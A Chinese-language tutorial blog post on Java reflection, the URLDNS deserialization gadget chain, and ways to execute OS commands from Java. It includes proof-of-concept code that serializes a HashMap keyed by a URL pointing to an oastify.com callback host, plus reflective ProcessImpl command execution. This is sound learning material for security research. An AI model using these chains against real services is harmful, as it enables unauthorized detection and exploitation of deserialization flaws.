Java反射和URLDNS链分析
1
2
3
4
5
6
7
8
|
package Serialize;
public class ReflectionTest {
public static void main(String[] args) {
Person person = new Person();
Class c = person.getClass();
}
}
|
这里的Class
类,其实就是我们命令行javac
编译后产生的.class
文件,包含类的所有信息
跟进Class
类
forName
方法,用来获取类
1
2
3
4
5
6
|
@CallerSensitive
public static Class<?> forName(String className)
throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
return forName(className, caller);
}
|
获取变量和方法
测试修改public
的name
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
package Serialize;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
//反射就是操作Class
//从原型里面实例化对象
//c.newInstance();//无参构造
Constructor constructor = c.getConstructor(String.class,int.class);//有参构造,因为前下Person类定义的姓名年龄,所以这里是String,int
Person p = (Person) constructor.newInstance("Hello",1);
System.out.println(p);
//获取类里面属性
// Field[] fields = c.getDeclaredFields();
// for (Field field : fields) {
// System.out.println(field);
// }
Field nameField = c.getField("name");
nameField.set(p,"abc");
System.out.println(p);
//调用类里面的方法
}
}
|
测试修改priavte
的age
,这里发现getField
获取不到报错了,换成getgetDeclaredField
同样报错,因为私有属性不允许这样更改,需要添加setAccessible
为true
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
package Serialize;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws Exception {
Person person = new Person();
Class c = person.getClass();
//反射就是操作Class
//从原型里面实例化对象
//c.newInstance();//无参构造
Constructor constructor = c.getConstructor(String.class,int.class);//有参构造,因为前下Person类定义的姓名年龄,所以这里是String,int
Person p = (Person) constructor.newInstance("Hello",1);
System.out.println(p);
//获取类里面属性
// Field[] fields = c.getDeclaredFields();
// for (Field field : fields) {
// System.out.println(field);
// }
Field nameField = c.getDeclaredField("age");
nameField.setAccessible(true);
nameField.set(p,114514);
System.out.println(p);
//调用类里面的方法
// Method[] methods = c.getMethods();
// for (Method m : methods) {
// System.out.println(m);
// }
Method actionMethod = c.getMethod("action",String.class);
actionMethod.invoke(p,"abc");
}
}
|
获取class对象的方法
getClass()方法
1
2
|
TestReflection testReflection = new TestReflection();
Class class3 = testReflection.getClass();
|
.class方法
1
|
Class class2 = TestReflection.class;
|
Class.forName()方法
1
|
Class class1 = Class.forName("reflection.TestReflection");
|
URLDNS链讲解
上一篇我们到这里
1
2
3
4
5
6
7
8
9
10
|
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
//这里不要发起请求
map.put(new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com"),1);
//这里把hashCode改为-1
//通过反射 改变对象已有的属性
serialize(map);
}
|
需要通过反射来改变属性,完成利用链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
//这里不要发起请求,也就是hashCode不为-1
URL url = new URL("http://3ko8qidpc6g4r4dowfs9hqzpegk78xwm.oastify.com");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,114514);//这里测试一下设置值
map.put(url,1);
hashcodefile.set(url,-1);//这里把hashCode改为-1
//通过反射 改变对象已有的属性
serialize(map);
}
|
这下很好理解了,通过getClass()
实例化对象,然后获取类的变量hashCode
并修改
这里也是找到新版本java运行报错的解决办法,打开IDEA,在运行右边的配置那里添加虚拟机选项
1
|
--add-opens java.base/java.net=ALL-UNNAMED
|
然后就能正常运行了,这里也是成功在反序列化的时候接受到DNS

命令执行的方法
Runtime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package Serialize.RCETest;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
public class RCE01 {
public static void main(String[] args) throws Exception{
InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();
byte[] b = new byte[1024];
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int len = 0;
while((len = in.read(b)) != -1){
baos.write(b,0,len);
}
System.out.println(baos);
}
}
|
getRuntime()
获取Runtime
对象,然后调用exec
方法的时候返回Process
对象,调用getInputStream()
方法,把命令执行的输出保存到输入流
ProcessBuilder
语句变成
1
|
InputStream in = new ProcessBuilder("whoami)".start().getInputStream();
|
ProcessImpl
ProcessImpl
是更为底层的实现,Runtime
和 ProcessBuilder
执行命令实际上也是调用了 ProcessImpl
这个类,对于 ProcessImpl
类我们不能直接调用,但是可以通过反射来间接调用 ProcessImpl
来达到执行命令的目的。因为 ProcessImpl
是私有的方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package Serialize.RCETest;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Map;
public class RCE02 {
public static void main(String[] args) throws Exception {
String[] cmds = new String[]{"whoami"};
Class c1 = Class.forName("java.lang.ProcessImpl");
Method m = c1.getDeclaredMethod("start", String[].class, Map.class,String.class,ProcessBuilder.Redirect[].class,boolean.class);
m.setAccessible(true);
Process e = (Process) m.invoke(null,cmds,null,".",null,true);
InputStream in = e.getInputStream();
byte[] b = new byte[1024];
int len = 0;
ByteArrayOutputStream out = new ByteArrayOutputStream();
while ((len = in.read(b)) != -1) {
out.write(b, 0, len);
}
System.out.println(out);
}
}
|